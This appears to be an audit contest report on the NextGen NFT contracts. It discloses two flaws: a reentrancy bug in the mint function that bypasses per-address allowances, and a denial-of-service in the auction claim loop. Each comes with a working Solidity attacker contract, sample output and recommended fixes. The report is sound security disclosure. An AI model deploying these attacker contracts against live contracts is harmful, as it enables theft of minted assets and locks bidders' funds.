NextGen - codynhat's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L213 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L217 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L224 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L193

Vulnerability details

Impact

In MinterContract.sol, the recipient of a mint can re-enter the mint function and bypass the allowance check.

There are three different cases where this can occur. https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L213

213: require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, _delegator) + _numberOfTokens, "AL limit");
217: require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, msg.sender) + _numberOfTokens, "AL limit");
224: require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max");

Proof of Concept

The following is a contract that can mint 22 tokens when the allowance is 2.

contract M1 is IERC721Receiver {
	NextGenMinterContract minter;
	ERC721 token;
	uint256 reentrancyCount;
	
	constructor(address _minter, address _token) {
		minter = NextGenMinterContract(_minter);
		token = ERC721(_token);
	}

	function mintBypassAllowance() external {
		console.log("BEFORE: %s", token.balanceOf(address(this)));
		
		reentrancyCount = 0;
		
		bytes32[] memory proof = new bytes32[](0);
		
		minter.mint(
			1,
			2,
			2, // maxAllowance
			'{"name":"hello"}',
			address(this),
			proof,
			0x0000000000000000000000000000000000000000,
			2
		);
		
		console.log("AFTER: %s", token.balanceOf(address(this)));
	}
	
	function onERC721Received(
		address operator,
		address from,
		uint256 tokenId,
		bytes calldata data
	) external returns (bytes4) {
		console.log("RECEIVER: %s", reentrancyCount);
		
		reentrancyCount += 1;
		
		// Re-enter
		if (reentrancyCount <= 10) {
			minter.mint(
				1,
				2,
				2,
				'{"name":"hello"}',
				address(this),
				new bytes32[](0),
				0x0000000000000000000000000000000000000000,
				2
			);
		}
		
		return IERC721Receiver.onERC721Received.selector;
	}
}

On mintBypassAllowance:

BEFORE: 0
RECEIVER: 0
RECEIVER: 1
RECEIVER: 2
RECEIVER: 3
RECEIVER: 4
RECEIVER: 5
RECEIVER: 6
RECEIVER: 7
RECEIVER: 8
RECEIVER: 9
RECEIVER: 10
RECEIVER: 11
RECEIVER: 12
RECEIVER: 13
RECEIVER: 14
RECEIVER: 15
RECEIVER: 16
RECEIVER: 17
RECEIVER: 18
RECEIVER: 19
RECEIVER: 20
RECEIVER: 21
AFTER: 22

Tools Used

Manual review

Recommended Mitigation Steps

Use the checks-effects-interactions pattern and update the mint amounts before minting the token.

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L193

Current:

_mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
if (phase == 1) {
	tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
} else {
    tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
}

Recommended:

if (phase == 1) {
	tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
} else {
    tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
}
_mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L116

Vulnerability details

Summary

In AuctionDemo.sol, the claimAuction(uint256) function loops through all bids and either sends payment via call to the owner or sends a refund via call to losing bidders.

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L116

function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        ...
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                ...
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

Any of these losing bidders can be a contract implementing the receive function that causes the entire transaction to always fail.

Impact

This results in:

• Owner of token not receiving highest bid winnings
• All bidders losing refunds
• Highest bidder not receiving winning token

All of these are cases of lost assets.

Proof of Concept

The following is a contract that if places a bid, will cause all bidders to lose funds by always causing the claim transaction to run out of gas.

contract H1 {
	auctionDemo auction;
	
	constructor(address _auction) {
		auction = auctionDemo(_auction);
	}
	
	function placeBid() external payable {
		// Place 10 bids
		for (uint256 index = 0; index < 10; index++) { 
			auction.participateToAuction{value: index + 1}(10000000000);
		}
	}
	
	receive() external payable {
		while (true) {}
	}
}

Tools Used

Manual review

Recommended Mitigation Steps

One way this can be mitigated is to use the withdraw pattern to isolate the sending of funds to different recipients. This prevents any one bidder from impacting the payment or transfer of assets to another bidder.

Assessed type

DoS